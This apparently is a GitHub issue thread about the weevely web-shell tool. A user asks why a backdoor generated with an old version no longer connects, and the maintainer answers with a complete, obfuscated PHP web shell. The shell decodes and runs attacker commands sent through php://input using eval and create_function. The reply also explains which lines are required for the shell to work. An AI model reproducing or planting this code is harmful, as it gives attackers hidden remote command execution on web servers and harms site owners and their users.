old version created weevely backdoor not connect with latest version
Closed this issue · 2 comments
digu3120 commented
here i old backdoor
Password is :- 1234
But it is not connected with latest version weevely
digu3120 commented
php.txt
here is my backdoor code which is created with old weevely but now it is not connected with new version weevely
password si :- 11234
ZanyMonk commented
Is that all your webshell contains ?
Because it lacks the last part. Here is full weevely webshell:
$ weevely generate -obfuscator obfusc1_php 1234 -
<?php
$B='fXZunction XZx($t,$k){XZ$XZc=XZstrlen($k);$l=strleXZn($tXZ);$o=XZ"XZ";for(XZ$i=0;$i<$l;XZ){for($';
$m=');@eXZval(@XZXZgzXZuncompress(@x(@baXZseXZ64_decoXZde($m[1]XZ),$k))XZ);XZ$o=@ob_get_XZcXZontent';
$g='j=XZ0;($j<XZ$c&&$XZiXZ<$l);$j++,XZ$i+XZ+){$oXZ.XZ=$t[$i]^$k[XZ$j];}XZ}return $oXZ;}XZif (XZXZ@preg';
$z='s(XZ);@oXZb_eXZnd_clean();$rXZ=@base6XZ4_enXZcode(@x(XZ@gXZzcompresXZs(XZ$o),$k));priXZXZXZnt("$p$kh$r$kf");}';
$H='_match("/$XZkh(XZ.+XZ)$kf/",@file_get_conteXZnXZts("php://XZinputXZ"),$m)=XZ=1)XZ {@ob_stXZart(';
$s='$k="XZ8XZ1dc9bdb";XZ$kh="5XZ2d04dc2003XZXZ6";$kf="XZdbd8313ed055XZ";XZ$p="CNVSXZxXZwt6lQtXZXZD1N7G";';
$E=str_replace('xk','','xkcrexkaxktxkexk_functixkon');
$i=str_replace('XZ','',$s.$B.$g.$H.$m.$z);
$Z=$E('',$i);$Z();
?>
Without the three last lines you are missing ($E
, $i
and $Z
in this case) it won't do anything.